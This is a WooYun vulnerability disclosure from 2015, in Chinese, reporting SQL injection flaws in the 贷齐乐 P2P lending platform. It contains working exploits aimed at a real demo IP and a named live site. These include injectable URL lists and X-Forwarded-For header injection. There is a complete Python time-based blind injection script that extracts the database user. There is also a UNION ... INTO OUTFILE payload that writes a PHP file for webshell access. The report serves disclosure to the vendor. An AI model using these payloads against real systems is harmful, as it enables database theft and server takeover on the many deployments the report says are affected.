当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132596

漏洞标题:贷齐乐最后再来几处高权限sql注入

相关厂商:chinaanhe.com

漏洞作者: 路人甲

提交时间:2015-08-10 10:39

修复时间:2015-11-08 11:20

公开时间:2015-11-08 11:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-10: 细节已通知厂商并且等待厂商处理中
2015-08-10: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向第三方安全合作伙伴开放
2015-10-04: 细节向核心白帽子及相关领域专家公开
2015-10-14: 细节向普通白帽子公开
2015-10-24: 细节向实习白帽子公开
2015-11-08: 细节向公众公开

简要描述:

就算你过滤了括号、过滤了很多,但是只要支持union,照样危害大

详细说明:

我觉得贷齐乐比较注重安全,看文章:http://gb.cri.cn/44571/2015/06/10/7872s4992373.htm
这个系统太不安全啦,那么多漏洞。来看看。
官方demo: http://121.40.166.230:10021/
第一处:这个好像有版本之分?
要注册账号,注册一个进去看看。(在注册时居然发现用户名可以为:123456的弱密码)点理财管理——我的投资。

01.png


02.png


虽然在报错和联合查询上都有一些防护,但是在盲注上是可以直接SQLMAP自动化测试

GET /index.php?user&q=code/borrow/lenddetail&keywords=1&dotime1=2015-07-28&dotime2=2015-07-26 HTTP/1.1
Host: 121.40.166.230:10021
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36
Referer: http://121.40.166.230:10021/index.php?user&q=code/borrow/lenddetail
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=ld25sasjpjmj5bndbg3jbonae7; RFdDTVN1c2VyX2lk=b2ebXDABQ%2BC%2F%2FVLWD%2B3b6fYSkhoHHXQI496%2FGz0hKcewiAnci%2BE07fx4CIY


03.png


04.png


整理一下这些存在注入的链接:

1、/index.php?user&q=code/borrow/succes&type=yes&keywords=1&dotime1=2015-08-08&dotime2=2015-08-08
2、/index.php?user&q=code/borrow/gathering&status=1&keywords=1&dotime1=2015-08-08&dotime2=2015-08-08
3、/index.php?user&q=code/borrow/succes&type=wait&keywords=1&dotime1=2015-08-08&dotime2=2015-08-08
4、/index.php?user&q=code/borrow/gathering&status=0&keywords=1&dotime1=2015-08-08&dotime2=2015-08-08
5、/index.php?user&q=code/borrow/bid&keywords=1&dotime1=2015-08-08&dotime2=2015-08-08
6、/index.php?user&q=code/borrow/lenddetail&keywords=1&dotime1=2015-08-08&dotime2=2015-08-08


第二处:非常隐蔽而且通杀的注入;可以延迟注入来绕过过滤。
这个注入主要发生在HTTP头上存在注入。将Burp添加一下头。

05.png


再访问站点:

GET / HTTP/1.1
Host: 121.40.166.230:10021
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36
Referer: http://121.40.166.230:10021/index.php?user&q=code/borrow/publish
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=28t0977e2b8jsnhct6hc66e7s2; RFdDTVN1c2VyX2lk=8be3S3d26zpyDnqJKm7gSEecnFJgA3UJ6Q9ICWaLuJ6pLdi%2BXfopW9xVKVQ
X-Forwarded-For:127.0.0.1'
Client-IP:127.0.0.1' / 注入点


06.png


试试别的站点:

http://www.ahytjr.com/


07.png


再更多:基本通杀啊

08.png


但是这个也过滤了,后来我试了一下存在延迟注入,可以通过延迟的方法来注入。利用lijiejie的脚本来试试:
Paython:[修改主机、以及url的页面必须存在]

#encoding=gbk
import httplib
import time
import string
import sys
import random
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive MySQL User:'
user = ''
for i in range(1, 17):
for payload in payloads:
try:
headers['X-Forwarded-For'] = "127.0.0.1' and case when ascii(substr(user() from %s for 1))=%s then sleep(5) else 0 end and '1'='1" % (i, ord(payload))
conn = httplib.HTTPConnection('121.40.166.230:10021', timeout=5)
conn.request(method='GET',
url="/invest/main.html",
headers=headers)
start_time = time.time()
conn.getresponse()
conn.close()
print '.',
except:
user += payload
print '\n[in progress]', user,
break
print '\n[Done] MySQL user is %s' % user


试试demo:

10.png


为了证明这个注入是可以利用的,所以我特意找了一个不是root的来,但其实都是root用户的。

12.png


第三处:

http://121.40.166.230:10021///plugins/index.php?q=area&area=1


转为POST试试:

09.png


的确报错了,但是试试了可以union但不回显,怎办?对了,root权限,可以写shell。关键是怎么获取物理路径呢?经过测试终于找到了。
注册账号——上传头像 ——上传头像的时候,文件名原本前面的双引号删去

13.png


获得了网站物理路径,可以使用union开始写webshell了,我这里只写个phpinfo来证明一下:

http://121.40.166.230:10021//plugins/index.php?q=area
area=-3 union select 0x3C3F70687020706870696E666F28293B3F3E into outfile 'D:\\www\\wandunewb\\wooyun.php'#


14.png


成功写入;所以就算你过滤了括号、过滤了select或者难以截断,只要支持union,那么久危害很大!

15.png


证明一下都存在这个注入:

mask 区域
1.http://**.**.**/plugins/index.phpq=area&area=%271_
2.https://**.**.**/plugins/index.phpq=area&area=%271_
3.https://**.**.**/plugins/index.phpq=area&area=%271_
4.https://**.**.**//plugins/index.phpq=area&area=%2_
5.https://**.**.**//plugins/index.phpq=area&area=%27_
6.https://**.**.**/plugins/index.phpq=area&area=%271171_
7.http://**.**.**/plugins/index.phpq=area&area=&
8.http://**.**.**/plugins/index.phpq=area&area=&
9.http://**.**.**//plugins/index.phpq=area&area=&
*****^..*****


第四处:也可以写shell:

http://121.40.166.230:10021/index.php?q=viewfast&id=-1 union select 1,2,3,4,current_user,6,7,8,9,10,11,12,13,14,15,16,17


16.png


17.png


这里开始证明一下绝大多都是root权限,所以对于可能直接写shell是非常危险的漏洞:

18.png

漏洞证明:

案例其实不仅仅是100+,不同的关键字可以搜到不同的案例,目测上千个~
已证明了漏洞

修复方案:

漏洞被白帽子发现不是重要的事情,重要的事情是修复,抓紧修复吧,需要对敏感信息打码的都已经打上马赛克了。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-10 11:18

厂商回复:

感谢测试

最新状态:

暂无